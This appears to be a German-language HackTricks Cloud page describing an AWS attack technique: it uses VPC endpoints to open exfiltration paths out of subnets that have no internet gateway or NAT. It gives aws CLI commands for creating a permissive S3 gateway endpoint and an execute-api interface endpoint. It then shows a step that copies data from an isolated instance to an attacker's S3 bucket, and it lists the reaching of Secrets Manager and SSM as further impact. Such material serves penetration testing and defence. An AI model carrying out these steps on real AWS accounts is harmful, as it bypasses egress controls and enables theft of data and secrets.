AWS – Egress Bypass von isolierten Subnetzen über VPC Endpoints
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Summary
Diese Technik missbraucht VPC Endpoints, um Exfiltrationskanäle aus Subnetzen ohne Internet Gateways oder NAT zu erstellen. Gateway endpoints (z. B. S3) fügen prefix‑list‑Routen in die Subnetz‑Routentabellen ein; Interface endpoints (z. B. execute-api, secretsmanager, ssm, etc.) erzeugen erreichbare ENIs mit privaten IPs, die durch security groups geschützt sind. Mit minimalen VPC/EC2‑Berechtigungen kann ein Angreifer kontrollierten Egress ermöglichen, der nicht das öffentliche Internet durchläuft.
Prereqs: vorhandenes VPC und private Subnetze (no IGW/NAT). Du benötigst Berechtigungen, um VPC endpoints zu erstellen und, für Option B, eine security group, die an die endpoint ENIs angehängt werden kann.
Option A – S3 Gateway VPC Endpoint
Variablen
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- Erstelle eine permissive Endpoint-Policy-Datei (optional). Speichere sie als
allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- Erstelle den S3 Gateway-Endpunkt (fügt den ausgewählten Routentabellen eine S3 prefix-list-Route hinzu):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
Zu erfassende Hinweise:
aws ec2 describe-route-tables --route-table-ids $RTB_IDSzeigt eine Route zur AWS S3 prefix list (z. B.DestinationPrefixListId=pl-..., GatewayId=vpce-...).- Von einer instance in diesen subnets (mit IAM perms) kannst du exfil via S3 ohne Internet:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
Option B – Interface VPC Endpoint für API Gateway (execute-api)
Variablen
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- Erstelle den Interface Endpoint und hänge die SG an:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
Zu erfassende Nachweise:
aws ec2 describe-vpc-endpointszeigt den Endpoint im ZustandavailablemitNetworkInterfaceIds(ENIs in Ihren Subnetzen).- Instanzen in diesen Subnetzen können Private API Gateway Endpunkte über diese VPCE ENIs erreichen (kein Internet‑Pfad erforderlich).
Auswirkungen
- Umgeht Perimeter egress controls, indem AWS‑managed private paths zu AWS services genutzt werden.
- Ermöglicht data exfiltration aus isolierten Subnetzen (z. B. Schreiben nach S3; Aufrufen von Private API Gateway; Zugriff auf Secrets Manager/SSM/STS usw.) ohne IGW/NAT.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud